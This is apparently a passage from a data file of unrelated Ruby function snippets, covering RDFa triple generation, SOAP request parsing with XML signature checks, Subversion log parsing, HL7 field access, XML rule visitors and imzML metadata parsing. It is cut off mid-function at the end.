process_uri(element, attrs[:href], evaluation_context, base,\n restrictions: [:uri]) if attrs[:href]\n current_object_resource ||= process_uri(element, attrs[:src], evaluation_context, base,\n restrictions: [:uri]) if attrs[:src] && @version != :\"rdfa1.0\"\n current_object_resource ||= RDF::Node.new if attrs[:typeof] && !attrs[:about] && @version != :\"rdfa1.0\"\n\n # and also set the value typed resource to this bnode\n if attrs[:typeof]\n if @version == :\"rdfa1.0\"\n typed_resource = new_subject\n else\n typed_resource = current_object_resource if !attrs[:about]\n end\n end\n\n add_debug(element) {\n \"[Step 6] new_subject: #{new_subject}, \" +\n \"current_object_resource = #{current_object_resource.nil? ? 'nil' : current_object_resource} \" +\n \"typed_resource: #{typed_resource.to_ntriples rescue 'nil'}, \"\n }\n end\n\n # [Step 7] If in any of the previous steps a typed resource was set to a non-null value, it is now used to provide a subject for type values;\n if typed_resource\n # Typeof is TERMorCURIEorAbsIRIs\n types = process_uris(element, attrs[:typeof], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: default_vocabulary,\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, []))\n add_debug(element, \"[Step 7] typeof: #{attrs[:typeof]}\")\n types.each do |one_type|\n add_triple(element, typed_resource, RDF[\"type\"], one_type)\n end\n end\n\n # Create new List mapping [step 8]\n #\n # If in any of the previous steps a new subject was set to a non-null value different from the parent object;\n # The list mapping taken from the evaluation context is set to a new, empty mapping.\n if (new_subject && (new_subject != evaluation_context.parent_subject || list_mapping.nil?))\n list_mapping = {}\n add_debug(element) do\n \"[Step 8]: create new list mapping(#{list_mapping.object_id}) \" +\n \"ns: #{new_subject.to_ntriples}, \" +\n \"ps: #{evaluation_context.parent_subject.to_ntriples rescue 'nil'}\"\n end\n end\n\n # Generate triples with given object [Step 9]\n #\n # If in any of the previous steps a current object resource was set to a non-null value, it is now used to generate triples and add entries to the local list mapping:\n if new_subject && current_object_resource && (attrs[:rel] || attrs[:rev])\n add_debug(element) {\"[Step 9] rels: #{rels.inspect} revs: #{revs.inspect}\"}\n rels.each do |r|\n if attrs[:inlist]\n # If the current list mapping does not contain a list associated with this IRI,\n # instantiate a new list\n unless list_mapping[r]\n list_mapping[r] = RDF::List.new\n add_debug(element) {\"list(#{r}): create #{list_mapping[r].inspect}\"}\n end\n add_debug(element) {\"[Step 9] add #{current_object_resource.to_ntriples} to #{r} #{list_mapping[r].inspect}\"}\n list_mapping[r] << current_object_resource\n else\n # Predicates for the current object resource can be set by using one or both of the @rel and the @rev attributes but, in case of the @rel attribute, only if the @inlist is not present:\n add_triple(element, new_subject, r, current_object_resource)\n end\n end\n\n revs.each do |r|\n add_triple(element, current_object_resource, r, new_subject)\n end\n elsif attrs[:rel] || attrs[:rev]\n # Incomplete triples and bnode creation [Step 10]\n add_debug(element) {\"[Step 10] incompletes: rels: #{rels}, revs: #{revs}\"}\n current_object_resource = RDF::Node.new\n\n # predicate: full IRI\n # direction: forward/reverse\n # lists: Save into list, don't generate triple\n\n rels.each do |r|\n if attrs[:inlist]\n # If the current list mapping does not contain a list associated with this IRI,\n # instantiate a new list\n unless list_mapping[r]\n list_mapping[r] = RDF::List.new\n add_debug(element) {\"[Step 10] list(#{r}): create #{list_mapping[r].inspect}\"}\n end\n incomplete_triples << {list: list_mapping[r], direction: :none}\n else\n incomplete_triples << {predicate: r, direction: :forward}\n end\n end\n\n revs.each do |r|\n incomplete_triples << {predicate: r, direction: :reverse}\n end\n end\n\n # Establish current object literal [Step 11]\n #\n # If the current element has a @inlist attribute, add the property to the\n # list associated with that property, creating a new list if necessary.\n if attrs[:property]\n properties = process_uris(element, attrs[:property], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: default_vocabulary,\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, []))\n\n properties.reject! do |p|\n if p.is_a?(RDF::URI)\n false\n else\n add_warning(element, \"[Step 11] predicate #{p.to_ntriples} must be a URI\")\n true\n end\n end\n\n datatype = process_uri(element, attrs[:datatype], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: default_vocabulary,\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, [])) unless attrs[:datatype].to_s.empty?\n begin\n current_property_value = case\n when datatype && ![RDF.XMLLiteral, RDF.HTML].include?(datatype)\n # typed literal\n add_debug(element, \"[Step 11] typed literal (#{datatype})\")\n RDF::Literal.new(attrs[:content] || attrs[:datetime] || attrs[:value] || element.inner_text.to_s, datatype: datatype, validate: validate?, canonicalize: canonicalize?)\n when @version == :\"rdfa1.1\"\n case\n when datatype == RDF.XMLLiteral\n # XML Literal\n add_debug(element) {\"[Step 11] XML Literal: #{element.inner_html}\"}\n\n # In order to maintain maximum portability of this literal, any children of the current node that are\n # elements must have the current in scope XML namespace declarations (if any) declared on the\n # serialized element using their respective attributes. Since the child element node could also\n # declare new XML namespaces, the RDFa Processor must be careful to merge these together when\n # generating the serialized element definition. For avoidance of doubt, any re-declarations on the\n # child node must take precedence over declarations that were active on the current node.\n begin\n c14nxl = element.children.c14nxl(\n library: @library,\n language: language,\n namespaces: {nil => XHTML}.merge(namespaces))\n RDF::Literal.new(c14nxl,\n library: @library,\n datatype: RDF.XMLLiteral,\n validate: validate?,\n canonicalize: canonicalize?)\n rescue ArgumentError => e\n add_error(element, e.message)\n end\n when datatype == RDF.HTML\n # HTML Literal\n add_debug(element) {\"[Step 11] HTML Literal: #{element.inner_html}\"}\n\n # Just like XMLLiteral, but without the c14nxl\n begin\n RDF::Literal.new(element.children.to_html,\n library: @library,\n datatype: RDF.HTML,\n validate: validate?,\n canonicalize: canonicalize?)\n rescue ArgumentError => e\n add_error(element, e.message)\n end\n when attrs[:value]\n # Lexically scan value and assign appropriate type, otherwise, leave untyped\n # See https://www.w3.org/2001/sw/wiki/RDFa_1.1._Errata#Using_.3Cdata.3E.2C_.3Cinput.3E_and_.3Cli.3E_along_with_.40value\n add_debug(element, \"[Step 11] value literal (#{attrs[:value]})\")\n v = attrs[:value].to_s\n # Figure it out by parsing\n dt_lit = %w(Integer Decimal Double).map {|t| RDF::Literal.const_get(t)}.detect do |dt|\n v.match(dt::GRAMMAR)\n end || RDF::Literal\n dt_lit.new(v)\n when attrs[:datatype]\n # otherwise, as a plain literal if @datatype is present but has an empty value.\n # The actual literal is either the value of @content (if present) or a string created by\n # concatenating the value of all descendant text nodes, of the current element in turn.\n # typed literal\n add_debug(element, \"[Step 11] datatyped literal (#{datatype})\")\n RDF::Literal.new(attrs[:content] || element.inner_text.to_s, language: language, validate: validate?, canonicalize: canonicalize?)\n when attrs[:content]\n # plain literal\n add_debug(element, \"[Step 11] plain literal (content)\")\n RDF::Literal.new(attrs[:content], language: language, validate: validate?, canonicalize: canonicalize?)\n when element.name == 'time'\n # HTML5 support\n # Lexically scan value and assign appropriate type, otherwise, leave untyped\n v = (attrs[:content] || attrs[:datetime] || element.inner_text).to_s\n datatype = %w(Date Time DateTime Year YearMonth Duration).map {|t| RDF::Literal.const_get(t)}.detect do |dt|\n v.match(dt::GRAMMAR)\n end || RDF::Literal\n add_debug(element) {\"[Step 11] <time> literal: #{datatype} #{v.inspect}\"}\n datatype.new(v, language: language)\n when (attrs[:resource] || attrs[:href] || attrs[:src]) &&\n !(attrs[:rel] || attrs[:rev]) &&\n @version != :\"rdfa1.0\"\n add_debug(element, \"[Step 11] resource (resource|href|src)\")\n res = process_uri(element, attrs[:resource], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, [])) if attrs[:resource]\n res ||= process_uri(element, (attrs[:href] || attrs[:src]), evaluation_context, base, restrictions: [:uri])\n when typed_resource && !attrs[:about] && @version != :\"rdfa1.0\"\n add_debug(element, \"[Step 11] typed_resource\")\n typed_resource\n else\n # plain literal\n add_debug(element, \"[Step 11] plain literal (inner text)\")\n RDF::Literal.new(element.inner_text.to_s, language: language, validate: validate?, canonicalize: canonicalize?)\n end\n else # rdfa1.0\n if element.text_content? || (element.children.length == 0) || attrs[:datatype] == \"\"\n # plain literal\n add_debug(element, \"[Step 11 (1.0)] plain literal\")\n RDF::Literal.new(attrs[:content] || element.inner_text.to_s, language: language, validate: validate?, canonicalize: canonicalize?)\n elsif !element.text_content? and (datatype == nil or datatype == RDF.XMLLiteral)\n # XML Literal\n add_debug(element) {\"[Step 11 (1.0)] XML Literal: #{element.inner_html}\"}\n recurse = false\n c14nxl = element.children.c14nxl(\n library: @library,\n language: language,\n namespaces: {nil => XHTML}.merge(namespaces))\n RDF::Literal.new(c14nxl,\n library: @library,\n datatype: RDF.XMLLiteral,\n validate: validate?,\n canonicalize: canonicalize?)\n end\n end\n rescue ArgumentError => e\n add_error(element, e.message)\n end\n\n # add each property\n properties.each do |p|\n # Lists: If element has an @inlist attribute, add the value to a list\n if attrs[:inlist]\n # If the current list mapping does not contain a list associated with this IRI,\n # instantiate a new list\n unless list_mapping[p]\n list_mapping[p] = RDF::List.new\n add_debug(element) {\"[Step 11] lists(#{p}): create #{list_mapping[p].inspect}\"}\n end\n add_debug(element) {\"[Step 11] add #{current_property_value.to_ntriples} to #{p.to_ntriples} #{list_mapping[p].inspect}\"}\n list_mapping[p] << current_property_value\n elsif new_subject\n add_triple(element, new_subject, p, current_property_value)\n end\n end\n end\n\n if !skip and new_subject && !evaluation_context.incomplete_triples.empty?\n # Complete the incomplete triples from the evaluation context [Step 12]\n add_debug(element) do\n \"[Step 12] complete incomplete triples: \" +\n \"new_subject=#{new_subject.to_ntriples}, \" +\n \"completes=#{evaluation_context.incomplete_triples.inspect}\"\n end\n\n evaluation_context.incomplete_triples.each do |trip|\n case trip[:direction]\n when :none\n add_debug(element) {\"[Step 12] add #{new_subject.to_ntriples} to #{trip[:list].inspect}\"}\n trip[:list] << new_subject\n when :forward\n add_triple(element, evaluation_context.parent_subject, trip[:predicate], new_subject)\n when :reverse\n add_triple(element, new_subject, trip[:predicate], evaluation_context.parent_subject)\n end\n end\n end\n\n # Create a new evaluation context and proceed recursively [Step 13]\n if recurse\n if skip\n if language == evaluation_context.language &&\n uri_mappings == evaluation_context.uri_mappings &&\n term_mappings == evaluation_context.term_mappings &&\n default_vocabulary == evaluation_context.default_vocabulary &&\n base == evaluation_context.base &&\n list_mapping == evaluation_context.list_mapping\n new_ec = evaluation_context\n add_debug(element, \"[Step 13] skip: reused ec\")\n else\n new_ec = evaluation_context.clone\n new_ec.base = base\n new_ec.language = language\n new_ec.uri_mappings = uri_mappings\n new_ec.namespaces = namespaces\n new_ec.term_mappings = term_mappings\n new_ec.default_vocabulary = default_vocabulary\n new_ec.list_mapping = list_mapping\n add_debug(element, \"[Step 13] skip: cloned ec\")\n end\n else\n # create a new evaluation context\n new_ec = EvaluationContext.new(base, @host_defaults)\n new_ec.parent_subject = new_subject || evaluation_context.parent_subject\n new_ec.parent_object = current_object_resource || new_subject || evaluation_context.parent_subject\n new_ec.uri_mappings = uri_mappings\n new_ec.namespaces = namespaces\n new_ec.incomplete_triples = incomplete_triples\n new_ec.language = language\n new_ec.term_mappings = term_mappings\n new_ec.default_vocabulary = default_vocabulary\n new_ec.list_mapping = list_mapping\n add_debug(element, \"[Step 13] new ec\")\n end\n\n element.children.each do |child|\n # recurse only if it's an element\n traverse(child, new_ec) if child.element?\n end\n\n # Step 14: after traversing through child elements, for each list associated with\n # a property\n (list_mapping || {}).each do |p, l|\n # if that list is different from the evaluation context\n ec_list = evaluation_context.list_mapping[p] if evaluation_context.list_mapping\n add_debug(element) {\"[Step 14] time to create #{l.inspect}? #{(ec_list != l).inspect}\"}\n if ec_list != l\n add_debug(element) {\"[Step 14] list(#{p}) create #{l.inspect}\"}\n # Generate an rdf:List with the elements of that list.\n l.each_statement do |st|\n add_triple(element, st.subject, st.predicate, st.object) unless st.object == RDF.List\n end\n\n # Generate a triple relating new_subject, property and the list BNode,\n # or rdf:nil if the list is empty.\n if l.empty?\n add_triple(element, new_subject, p, RDF.nil)\n else\n add_triple(element, new_subject, p, l.subject)\n end\n end\n end\n\n # Role processing\n # @id is used as subject, bnode otherwise.\n # Predicate is xhv:role\n # Objects are TERMorCURIEorAbsIRIs.\n # Act as if the default vocabulary is XHV\n if attrs[:role]\n subject = attrs[:id] ? uri(base, \"##{attrs[:id]}\") : RDF::Node.new\n roles = process_uris(element, attrs[:role], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: \"http://www.w3.org/1999/xhtml/vocab#\",\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, []))\n\n add_debug(element) {\"role: about: #{subject.to_ntriples}, roles: #{roles.map(&:to_ntriples).inspect}\"}\n roles.each do |r|\n add_triple(element, subject, RDF::URI(\"http://www.w3.org/1999/xhtml/vocab#role\"), r)\n end\n end\n end\n end", "def each\n\t\t\t@elements.each\n\t\tend", "def _parse_soap_parameters\n soap_action = request.env['wash_out.soap_action']\n action_spec = self.class.soap_actions[soap_action]\n\n # Do not interfere with project-space Nori setup\n strip = Nori.strip_namespaces?\n convert = Nori.convert_tags?\n Nori.strip_namespaces = true\n Nori.convert_tags_to { |tag| tag.snakecase.to_sym }\n\t\n body = request.body.read\n params = Nori.parse(body)\n\n request_doc = REXML::Document.new(body)\n sign_els = REXML::XPath.first(request_doc, \"//ds:Signature\", {\"ds\"=>\"http://www.w3.org/2000/09/xmldsig#\"})\n\n unless sign_els.blank?\n render_soap_error('The signature is invalid.') unless XMLSec.verify_sign(body)\n end\n\t\n encrypted_elements = REXML::XPath.match(request_doc, \"//xenc:EncryptedData\", 'xenc' => 'http://www.w3.org/2001/04/xmlenc#')\n\n unless encrypted_elements.blank?\n begin\n\t decrypted_request = XMLSec.decrypt(body, WS_SECURITY_SETTINGS[\"private_key\"], WS_SECURITY_SETTINGS[\"cert\"])\n rescue => e\n render_soap_error(e.message)\n end\n\tdecrypted_doc = REXML::Document.new decrypted_request\n\tsign_els = REXML::XPath.first(decrypted_doc, \"//ds:Signature\", {\"ds\"=>\"http://www.w3.org/2000/09/xmldsig#\"})\n\n unless sign_els.blank?\n render_soap_error('The signature is invalid.') unless XMLSec.verify_sign(decrypted_request)\n end\n\n params = Nori.parse(decrypted_request)\n end\t\n\n xml_data = params[:envelope][:body][soap_action.underscore.to_sym] || {}\n\n strip_empty_nodes = lambda{|hash|\n hash.each do |key, value|\n if value.is_a? Hash\n value = value.delete_if{|key, value| key.to_s[0] == '@'}\n\n if value.length > 0\n hash[key] = strip_empty_nodes.call(value)\n else\n hash[key] = nil\n end\n end\n end\n\n hash\n }\n\n xml_data = strip_empty_nodes.call(xml_data)\n\n # Reset Nori setup to project-space\n Nori.strip_namespaces = strip\n Nori.convert_tags_to convert\n\n @_params = HashWithIndifferentAccess.new\n\n action_spec[:in].each do |param|\n @_params[param.name] = param.load(xml_data, param.name.to_sym)\n end\n end", "def parse_entry_info(xml_element)\n \n revision = xml_element.attributes['revision']\n author = xml_element.elements['author'].text\n date = DateTime.parse(xml_element.elements['date'].text)\n message = xml_element.elements['msg'].text\n \n paths = xml_element.elements.collect('paths/path') do |e|\n {\n :action => e.attributes['action'],\n :path => e.text\n }\n end\n \n return {\n :revision => revision,\n :author => author,\n :message => message,\n :date => date,\n :paths => paths\n }\n end", "def getvalue(element)\n\t # METHOD: returns the value of a given aspect of the message by virtue of its position\n\t # allows returning the segment value in total eg getvalue(\"PID\"), down to the atomic element eg getvalue(\"PID-5-2\")\n \t \n\t\t\t# separate the single arguemnt passed into the various elements\n\t\t\telements = element.split(\"-\")\t\t\t# \"PID-5-2\" => [\"PID\", \"5\", \"2\"]\n\t\t\tsegment = elements[0]\t\t\t\t\t\t# segment => \"PID\"\n\t\t\tfield = elements[1]\t\t\t\t\t\t# field\t\t => \"5\" \n\t\t\tcomponent = elements[2]\t\t\t\t\t\t# component => \"2\"\n\t\t\tsubcomponent = elements[3]\t\t\t\t\t\t# subcomponent => nil (in the above example)\n\t\t\tsubsubcomponent = elements[4]\t\t\t\t\t\t# subsubcomponent => nil (in the above example)\n\n\t\t\t# get segment position, using the segment array created above\n\t\t\tsegment_position = @segment_list.find_index(segment)\n\t\t\t\n\t\t\t# get field position\n\t\t\tfield_position = field.to_i if field != nil\n\t\t\t\n\t\t\t# get component position\n\t\t\tcomponent_position = component.to_i - 1 if component != nil\n\t\t\t\n\t\t\t# construct value get statement\n\t\t\tif (segment_position != nil) and (field_position == nil) and (component_position == nil) then\n\t\t\t\t@parsed_content[segment_position]\n\t\t\telsif (segment_position != nil) and (field_position != nil) and (component_position == nil) then\n\t\t\t\t@parsed_content[segment_position][field_position]\n\t\t\telsif (segment_position != nil) and (field_position != nil) and (component_position != nil) then\n\t\t\t\t@parsed_content[segment_position][field_position][component_position]\n\t\t\tend\n\t\t\t\n\t end", "def visitArg(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitArg\")\r\n @@log.debug(elem.inspect)\r\n\r\n argData = ''\r\n\r\n elem.each_element do |child|\r\n argData += \", \" if(!data.empty?)\r\n argData = visit(child, argData)\r\n end\r\n\r\n data += argData\r\n return data\r\n end", "def parse_proofsheet\n \n @proofsheets.each do |proofsheet|\n \n xps_document = proofsheet.document\n\n # load all casted general elements\n REXML::XPath.each(xps_document.root,'descendant::*') do |element|\n namespace = element.inherited_namespace\n # absolute dies\n if namespace != \"http://www.transami.net/namespace/xmlproof\" and namespace != \"http://transami.net/namespace/xmlproof\"\n if element.has_text?\n if not element.text.strip.empty?\n xpath = element.absolute_xpath(true)\n cast = \" \" + element.text.strip + \" \"\n @absolute_dies[[namespace, xpath]] = Die.new(cast, element) if not @absolute_dies.has_key?([namespace, xpath])\n end\n end\n end\n end\n\n # load all casted general attributes\n REXML::XPath.each(xps_document.root,'descendant::*[@]') do |element|\n element.attributes.each_attribute do |attribute|\n prefix = attribute.inherited_prefix\n name = attribute.name\n namespace = attribute.inherited_namespace\n if namespace != \"http://www.w3.org/2000/xmlns/\" and prefix != 'xmlns' and name != 'xmlns'\n if namespace != \"http://www.transami.net/namespace/xmlproof\" and namespace != \"http://transami.net/namespace/xmlproof\"\n if not attribute.value.strip.empty?\n xpath = attribute.absolute_xpath(true) \n cast = \" \" + attribute.value.strip + \" \"\n @absolute_dies[[namespace, xpath]] = Die.new(cast, attribute) if not @absolute_dies.has_key?([namespace, xpath])\n end\n end\n end\n end\n end\n \n # load all casted arbitrary dies\n REXML::XPath.each(xps_document.root,'descendant::x:arbitrary', {'x' => 'http://www.transami.net/namespace/xmlproof'}) do |element|\n if element.has_text?\n if not element.text.strip.empty?\n # get xpath\n if element.attributes.has_key?('xpath')\n xpath = element.attributes['xpath']\n else\n raise \"no xpath attribute given for arbitrary\"\n end\n cast = \" \" + element.text.strip + \" \"\n @arbitrary_dies[xpath] = Die.new(cast, xpath) if not @arbitrary_dies.has_key?(xpath)\n end\n end\n end\n \n # link dies\n defined_dies = @absolute_dies.select { |key, die| die.link? == false } | @arbitrary_dies.select { |key, die| die.link? == false }\n defined_dies_lookup = {}\n defined_dies.each do |key, die|\n defined_dies_lookup[die.name] = die\n end\n undefined_absolute_dies = @absolute_dies.select { |key, die| die.link? == true }\n undefined_absolute_dies.each do |key, die|\n if defined_dies_lookup.has_key?(die.name)\n @absolute_dies[key].link(defined_dies_lookup[die.name])\n end\n end\n undefined_arbitrary_dies = @arbitrary_dies.select { |key, die| die.link? == true }\n undefined_arbitrary_dies.each do |key, die|\n if defined_dies_lookup.has_key?(die.name)\n @arbitrary_dies[key].link(defined_dies_lookup[die.name])\n end\n end\n \n # load options and collections\n @absolute_dies.each do |key, die|\n # options\n if die.option\n die.option.each do |opt|\n @options[opt] = @options[opt] | [key]\n end\n end\n # collections\n if die.collection\n @collections[die.collection] = @collections[die.collection] | [key]\n end\n end\n\n end\n \n end", "def process_dialogs(dialogs, task)\n process_elements(dialogs, Dialog, task)\n end", "def initialize(element)\n @element = element\n @name = element.name\n end", "def visit(elem, data)\r\n @@log.debug(\"XmlVisitor::visit\")\r\n @@log.debug(elem.inspect)\r\n\r\n case elem.name\r\n when 'Compute'\r\n data = visitCompute(elem, data)\r\n\r\n when 'Operator'\r\n data = visitOperator(elem, data)\r\n\r\n when 'LeftOperand'\r\n data = visitLeftOperand(elem, data)\r\n\r\n when 'RightOperand'\r\n data = visitRightOperand(elem, data)\r\n\r\n when 'Brace'\r\n data = visitBrace(elem, data)\r\n\r\n when 'Constant'\r\n data = visitConstant(elem, data)\r\n\r\n when 'Rule'\r\n data = visitRule(elem, data)\r\n\r\n when 'Ruleset'\r\n data = visitRuleset(elem, data)\r\n\r\n when 'PPM'\r\n data = visitPPM(elem, data)\r\n\r\n when 'DPM'\r\n data = visitDPM(elem, data)\r\n\r\n when 'Condition'\r\n data = visitCondition(elem, data)\r\n\r\n when 'IfActions'\r\n data = visitIfActions(elem, data)\r\n\r\n when 'ElseActions'\r\n data = visitElseActions(elem, data)\r\n\r\n when 'Assign'\r\n data = visitAssign(elem, data)\r\n\r\n when 'AssignTo'\r\n data = visitAssignTo(elem, data)\r\n\r\n when 'AssignValue'\r\n data = visitAssignValue(elem, data)\r\n\r\n when 'Lookup'\r\n data = visitLookup(elem, data)\r\n\r\n when 'LOOKUP'\r\n data = visitLookupData(elem, data)\r\n\r\n when 'XParameter'\r\n data = visitXParameter(elem, data)\r\n\r\n when 'YParameter'\r\n data = visitYParameter(elem, data)\r\n\r\n when 'Function'\r\n data = visitXmlFunction(elem, data)\r\n\r\n when 'Args'\r\n data = visitArgs(elem, data)\r\n\r\n when 'Arg'\r\n data = visitArg(elem, data)\r\n\r\n else\r\n data = visitDefault(elem, data)\r\n end # case\r\n\r\n return data\r\n end", "def visit_feature_element(feature_element)\n Testjour.logger.debug \"visit_feature element...\"\n feature_element.accept(self)\n Testjour.logger.debug \"visit_feature element done\"\n end", "def element_params\n params.require(:element).permit(:element_type, :post_id, :position)\n end", "def physfacet_node_set(input_element)\n input_element.xpath(XPATH[:physfacet])\n end", "def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __PARAMS259__ = nil\n parameter260 = nil\n\n tree_for_PARAMS259 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 215:5: ^( PARAMS ( parameter )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __PARAMS259__ = match( PARAMS, TOKENS_FOLLOWING_PARAMS_IN_parameters_1582 )\n\n tree_for_PARAMS259 = @adaptor.copy_node( __PARAMS259__ )\n\n root_1 = @adaptor.become_root( tree_for_PARAMS259, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 215:15: ( parameter )*\n while true # decision 35\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == ASGN || look_35_0 == SPLAT || look_35_0 == ID )\n alt_35 = 1\n\n end\n case alt_35\n when 1\n # at line 215:15: parameter\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_1584 )\n parameter260 = parameter\n @state.following.pop\n\n @adaptor.add_child( root_1, parameter260.tree )\n\n\n else\n break # out of loop for decision 35\n end\n end # loop for decision 35\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n \n return return_value\n end", "def end_element(name)\n @stack.pop\n element = @elements.pop\n # p @stack\n\n # open OBO file for each from CV list for further validation\n if name == :cvList\n @cv_list.each do |cv|\n filename = case cv[:id]\n when \"MS\"\n \"psi-ms.obo\"\n when \"UO\"\n \"unit.obo\"\n when \"IMS\"\n \"imagingMS.obo\"\n end\n filepath = File.join(File.dirname(__FILE__), \"..\", \"..\", \"data\", filename)\n @obo[cv[:id].to_s] = Obo::Parser.new(filepath)\n end\n end\n\n # save file content\n if name == :cvParam && @stack.last == :fileContent\n\n cv = @obo[element[:cvRef]]\n stanza = cv.stanza(element[:accession])\n parent_id = stanza.parent_id\n\n # init basic structures\n @metadata.file_description ||= FileDescription.new\n file_content = (@metadata.file_description.file_content ||= FileContent.new)\n\n case element[:cvRef]\n when \"MS\"\n # save data file content\n if parent_id == FileContent::DATA_FILE_CONTENT\n file_content.data_file_contents ||= Hash.new\n (file_content.data_file_contents[parent_id] ||= Array.new) << element\n end\n\n # save spectrum representation\n if parent_id == FileContent::SPECTRUM_REPRESENTATION\n file_content.spectrum_representation = element\n end\n\n when \"IMS\"\n # save binary type (cannot look by parent because the OBO file is different and\n # the parser doesn't hadle it well, need to first improve the OBO parser)\n if stanza.id == FileContent::CONTINUOUS\n file_content.binary_type = :continuous\n elsif stanza.id == FileContent::PROCESSED\n file_content.binary_type = :processed\n end\n\n # save checksum type\n if stanza.id == FileContent::MD5\n file_content.checksum = element[:value]\n elsif stanza.id == FileContent::SHA1\n file_content.checksum = element[:value]\n end\n\n # save identifier\n if stanza.id == FileContent::UNIVERSALLY_UNIQUE_IDENTIFIER\n file_content.uuid = element[:value]\n end\n end\n\n end\n\n # save reference group for further usage\n if name == :cvParam && @stack.last == :referenceableParamGroup\n (@reference_groups[@elements.last[:id].to_sym] ||= Array.new) << element\n end\n\n # save sample list\n if name == :cvParam && @stack.last == :sample\n samples = (@metadata.samples ||= Hash.new)\n samples[@elements.last[:id].to_sym] = element\n end\n\n # save software list (raw, without detailed parsing)\n if name == :software && @stack.last == :softwareList\n (@metadata.software ||= Array.new) << element\n end\n\n # save scan settings\n if name == :cvParam && @stack.last == :scanSettings\n scan_settings = (@metadata.scan_settings ||= Hash.new)\n setting = (scan_settings[@elements.last[:id].to_sym] ||= ScanSettings.new)\n\n cv = @obo[element[:cvRef]]\n stanza = cv.stanza(element[:accession])\n parent_id = stanza.parent_id\n\n case element[:cvRef]\n when \"IMS\"\n\n # detect correct line scan direction\n setting.line_scan_direction = case stanza.id\n when ScanSettings::LINE_SCAN_BOTTOM_UP\n :bottom_up\n when ScanSettings::LINE_SCAN_LEFT_RIGHT\n :left_right\n when ScanSettings::LINE_SCAN_RIGHT_LEFT\n :right_left\n when ScanSettings::LINE_SCAN_TOP_DOWN\n :top_down\n else\n setting.line_scan_direction\n end\n\n # detect scan direction\n setting.scan_direction = case stanza.id\n when ScanSettings::BOTTOM_UP\n :bottom_up\n when ScanSettings::LEFT_RIGHT\n :left_right\n when ScanSettings::RIGHT_LEFT\n :right_left\n when ScanSettings::TOP_DOWN\n :top_down\n else\n setting.scan_direction\n end\n\n # detect scan pattern\n setting.scan_pattern = case stanza.id\n when ScanSettings::MEANDERING\n :meandering\n when ScanSettings::ONE_WAY\n :one_way\n when ScanSettings::RANDOM_ACCESS\n :random_access\n when ScanSettings::FLY_BACK\n :fly_back\n else\n setting.scan_pattern\n end\n\n # detect scan type\n setting.scan_type = case stanza.id\n when ScanSettings::HORIZONTAL_LINE_SCAN\n :horizontal\n when ScanSettings::VERTICAL_LINE_SCAN\n :vertical\n else\n setting.scan_type\n end\n\n # detect image properties\n image = (setting.image ||= ImzML::Image.new)\n\n case stanza.id\n when ScanSettings::MAX_DIMENSION_X\n point = (image.max_dimension ||= ImzML::Point.new)\n point.x = element[:value].to_i\n when ScanSettings::MAX_DIMENSION_Y\n point = (image.max_dimension ||= ImzML::Point.new)\n point.y = element[:value].to_i\n when ScanSettings::MAX_COUNT_OF_PIXEL_X\n point = (image.max_pixel_count ||= ImzML::Point.new)\n point.x = element[:value].to_i\n when ScanSettings::MAX_COUNT_OF_PIXEL_Y\n point = (image.max_pixel_count ||= ImzML::Point.new)\n point.y = element[:value].to_i\n when ScanSettings::PIXEL_SIZE_X\n point = (image.pixel_size ||= ImzML::Point.new)\n point.x = element[:value].to_i\n when ScanSettings::PIXEL_SIZE_Y\n point = (image.pixel_size ||= ImzML::Point.new)\n point.y = element[:value].to_i\n end\n end\n\n end\n\n # parse processing methods\n if name == :cvParam && @stack.last == :processingMethod\n data_processing = (@metadata.data_processing ||= Hash.new)\n processing = (data_processing[@elements[-2][:id].to_sym] ||= DataProcessing.new)\n processing.processing_method = @elements.last\n (processing.processing_method[:actions] ||= Array.new) << element\n end\n\n # save spectrum position info\n if name == :cvParam && @stack.last == :scan\n spectrums = (@metadata.spectrums ||= Hash.new)\n spectrum = (spectrums[@elements[-3][:id].to_sym] ||= Spectrum.new)\n point = (spectrum.position ||= ImzML::Point.new)\n\n point.x = element[:value].to_i if element[:accession] == Spectrum::POSITION_X\n point.y = element[:value].to_i if element[:accession] == Spectrum::POSITION_Y\n end\n\n # save spectrum binary data info\n if name == :referenceableParamGroupRef && @stack.last == :binaryDataArray\n group = @reference_groups[element[:ref].to_sym]\n\n spectrum = @metadata.spectrums[@elements[-3][:id].to_sym]\n mz_binary = (spectrum.mz_binary ||= ImzML::Spectrum::BinaryData.new)\n intensity_binary = (spectrum.intensity_binary ||= ImzML::Spectrum::BinaryData.new)\n\n # detect type of the binary data info based on referenced group content\n group.each do |param|\n # p param\n @binary_type = case param[:accession]\n when ImzML::Spectrum::BinaryData::MZ_ARRAY\n :mz_binary\n when ImzML::Spectrum::BinaryData::INTENSITY_ARRAY\n :intensity_binary\n end\n\n break if !@binary_type.nil?\n end\n\n # detect binary data type\n number_type = nil\n group.each do |param|\n number_type = case param[:accession]\n when Spectrum::BinaryData::BINARY_TYPE_8BIT_INTEGER\n :int8\n when Spectrum::BinaryData::BINARY_TYPE_16BIT_INTEGER\n 